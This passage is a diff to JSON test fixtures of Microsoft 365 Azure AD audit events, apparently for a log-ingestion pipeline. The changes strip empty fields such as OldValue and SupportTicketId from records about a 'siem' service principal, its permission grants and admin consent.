"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -3279,30 +3195,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -3483,30 +3393,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -3685,8 +3589,7 @@
},
"ModifiedProperties": {
"Included_Updated_Properties": {
- "NewValue": "RequiredResourceAccess",
- "OldValue": ""
+ "NewValue": "RequiredResourceAccess"
},
"RequiredResourceAccess": {
"NewValue": "[\r\n {\r\n \"ResourceAppId\": \"c5393580-f805-4401-95e8-94b7a6ef2fc2\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e2cea78f-e743-4d8f-a16a-75b629a038ae\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n },\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]",
@@ -3696,7 +3599,6 @@
"ObjectId": "Not Available",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "Application_08d8bb01-c269-4a92-9929-a1a89b729512",
@@ -3867,8 +3769,7 @@
},
"ModifiedProperties": {
"Included_Updated_Properties": {
- "NewValue": "RequiredResourceAccess",
- "OldValue": ""
+ "NewValue": "RequiredResourceAccess"
},
"RequiredResourceAccess": {
"NewValue": "[\r\n {\r\n \"ResourceAppId\": \"c5393580-f805-4401-95e8-94b7a6ef2fc2\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e2cea78f-e743-4d8f-a16a-75b629a038ae\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n },\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]",
@@ -3878,7 +3779,6 @@
"ObjectId": "Not Available",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "Application_08d8bb01-c269-4a92-9929-a1a89b729512",
@@ -4049,19 +3949,13 @@
"version": "2"
},
"ModifiedProperties": {
- "Included_Updated_Properties": {
- "NewValue": "",
- "OldValue": ""
- },
"TargetId_ServicePrincipalNames": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
}
},
"ObjectId": "71a0194b-b70c-44a6-82f2-d4670aee4585",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_5c242833-909c-4c6b-bca3-50feaaa98d23",
@@ -4240,8 +4134,7 @@
},
"ModifiedProperties": {
"Included_Updated_Properties": {
- "NewValue": "RequiredResourceAccess",
- "OldValue": ""
+ "NewValue": "RequiredResourceAccess"
},
"RequiredResourceAccess": {
"NewValue": "[\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n },\r\n {\r\n \"ResourceAppId\": \"c5393580-f805-4401-95e8-94b7a6ef2fc2\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"594c1fb6-4f81-4475-ae41-0c394909246c\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"4807a72c-ad38-4250-94c9-4eabfe26cd55\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"e2cea78f-e743-4d8f-a16a-75b629a038ae\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]",
@@ -4251,7 +4144,6 @@
"ObjectId": "Not Available",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "Application_08d8bb01-c269-4a92-9929-a1a89b729512",
@@ -4422,8 +4314,7 @@
},
"ModifiedProperties": {
"Included_Updated_Properties": {
- "NewValue": "RequiredResourceAccess",
- "OldValue": ""
+ "NewValue": "RequiredResourceAccess"
},
"RequiredResourceAccess": {
"NewValue": "[\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n },\r\n {\r\n \"ResourceAppId\": \"c5393580-f805-4401-95e8-94b7a6ef2fc2\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"594c1fb6-4f81-4475-ae41-0c394909246c\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"4807a72c-ad38-4250-94c9-4eabfe26cd55\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"e2cea78f-e743-4d8f-a16a-75b629a038ae\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]",
@@ -4433,7 +4324,6 @@
"ObjectId": "Not Available",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "Application_08d8bb01-c269-4a92-9929-a1a89b729512",
@@ -4604,8 +4494,7 @@
},
"ModifiedProperties": {
"Included_Updated_Properties": {
- "NewValue": "RequiredResourceAccess",
- "OldValue": ""
+ "NewValue": "RequiredResourceAccess"
},
"RequiredResourceAccess": {
"NewValue": "[\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n },\r\n {\r\n \"ResourceAppId\": \"c5393580-f805-4401-95e8-94b7a6ef2fc2\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"594c1fb6-4f81-4475-ae41-0c394909246c\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"4807a72c-ad38-4250-94c9-4eabfe26cd55\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"e2cea78f-e743-4d8f-a16a-75b629a038ae\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]",
@@ -4615,7 +4504,6 @@
"ObjectId": "Not Available",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "Application_08d8bb01-c269-4a92-9929-a1a89b729512",
@@ -4786,19 +4674,13 @@
"version": "2"
},
"ModifiedProperties": {
- "Included_Updated_Properties": {
- "NewValue": "",
- "OldValue": ""
- },
"TargetId_ServicePrincipalNames": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
}
},
"ObjectId": "71a0194b-b70c-44a6-82f2-d4670aee4585",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_5c242833-909c-4c6b-bca3-50feaaa98d23",
@@ -4979,30 +4861,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -5183,30 +5059,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -5387,30 +5257,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -5591,30 +5455,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -5795,30 +5653,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -5999,30 +5851,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -6203,30 +6049,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -6407,30 +6247,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -6610,34 +6444,24 @@
},
"ModifiedProperties": {
"ConsentAction_Permissions": {
- "NewValue": "[[Id: MygkXJyQa0y8o1D-qqmNI_mOUpib6JpGsZv6jnKgD6Y, ClientId: 5c242833-909c-4c6b-bca3-50feaaa98d23, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]] => [[Id: MygkXJyQa0y8o1D-qqmNI_mOUpib6JpGsZv6jnKgD6Y, ClientId: 5c242833-909c-4c6b-bca3-50feaaa98d23, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]]; ",
- "OldValue": ""
+ "NewValue": "[[Id: MygkXJyQa0y8o1D-qqmNI_mOUpib6JpGsZv6jnKgD6Y, ClientId: 5c242833-909c-4c6b-bca3-50feaaa98d23, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]] => [[Id: MygkXJyQa0y8o1D-qqmNI_mOUpib6JpGsZv6jnKgD6Y, ClientId: 5c242833-909c-4c6b-bca3-50feaaa98d23, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]]; "
},
"ConsentContext_IsAdminConsent": {
- "NewValue": "True",
- "OldValue": ""
+ "NewValue": "True"
},
"ConsentContext_IsAppOnly": {
- "NewValue": "False",
- "OldValue": ""
+ "NewValue": "False"
},
"ConsentContext_OnBehalfOfAll": {
- "NewValue": "True",
- "OldValue": ""
- },
- "ConsentContext_Tags": {
- "NewValue": "",
- "OldValue": ""
+ "NewValue": "True"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
}
},
"ObjectId": "71a0194b-b70c-44a6-82f2-d4670aee4585",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_5c242833-909c-4c6b-bca3-50feaaa98d23",
@@ -6817,34 +6641,24 @@
},
"ModifiedProperties": {
"ConsentAction_Permissions": {
- "NewValue": "[[Id: MygkXJyQa0y8o1D-qqmNI_mOUpib6JpGsZv6jnKgD6Y, ClientId: 5c242833-909c-4c6b-bca3-50feaaa98d23, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]] => [[Id: MygkXJyQa0y8o1D-qqmNI_mOUpib6JpGsZv6jnKgD6Y, ClientId: 5c242833-909c-4c6b-bca3-50feaaa98d23, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]]; ",
- "OldValue": ""
+ "NewValue": "[[Id: MygkXJyQa0y8o1D-qqmNI_mOUpib6JpGsZv6jnKgD6Y, ClientId: 5c242833-909c-4c6b-bca3-50feaaa98d23, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]] => [[Id: MygkXJyQa0y8o1D-qqmNI_mOUpib6JpGsZv6jnKgD6Y, ClientId: 5c242833-909c-4c6b-bca3-50feaaa98d23, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]]; "
},
"ConsentContext_IsAdminConsent": {
- "NewValue": "True",
- "OldValue": ""
+ "NewValue": "True"
},
"ConsentContext_IsAppOnly": {
- "NewValue": "False",
- "OldValue": ""
+ "NewValue": "False"
},
"ConsentContext_OnBehalfOfAll": {
- "NewValue": "True",
- "OldValue": ""
- },
- "ConsentContext_Tags": {
- "NewValue": "",
- "OldValue": ""
+ "NewValue": "True"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
}
},
"ObjectId": "71a0194b-b70c-44a6-82f2-d4670aee4585",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_5c242833-909c-4c6b-bca3-50feaaa98d23",
@@ -6920,7 +6734,6 @@
},
{
"@timestamp": "2020-02-10T15:15:04.000Z",
- "client": {},
"ecs": {
"version": "8.11.0"
},
@@ -6971,7 +6784,6 @@
}
],
"ActorContextId": "d51ef8df-6617-4356-b8d4-89ad7efef31e",
- "ActorIpAddress": "",
"AzureActiveDirectoryEventType": "1",
"CreationTime": "2020-02-10T15:15:04",
"ExtendedProperties": {
@@ -7016,22 +6828,19 @@
},
"ModifiedProperties": {
"Included_Updated_Properties": {
- "NewValue": "StrongAuthenticationPhoneAppDetail",
- "OldValue": ""
+ "NewValue": "StrongAuthenticationPhoneAppDetail"
},
"StrongAuthenticationPhoneAppDetail": {
"NewValue": "[\r\n {\r\n \"DeviceName\": \"NO_DEVICE\",\r\n \"DeviceToken\": \"NO_DEVICE_TOKEN\",\r\n \"DeviceTag\": \"SoftwareTokenActivated\",\r\n \"PhoneAppVersion\": \"NO_PHONE_APP_VERSION\",\r\n \"OathTokenTimeDrift\": -1,\r\n \"DeviceId\": null,\r\n \"Id\": \"3b539b10-3846-4f9b-877d-55b0b8e76147\",\r\n \"TimeInterval\": null,\r\n \"AuthenticationType\": 2,\r\n \"NotificationType\": 1,\r\n \"SecuredPartitionId\": 0,\r\n \"SecuredKeyId\": 0\r\n }\r\n]",
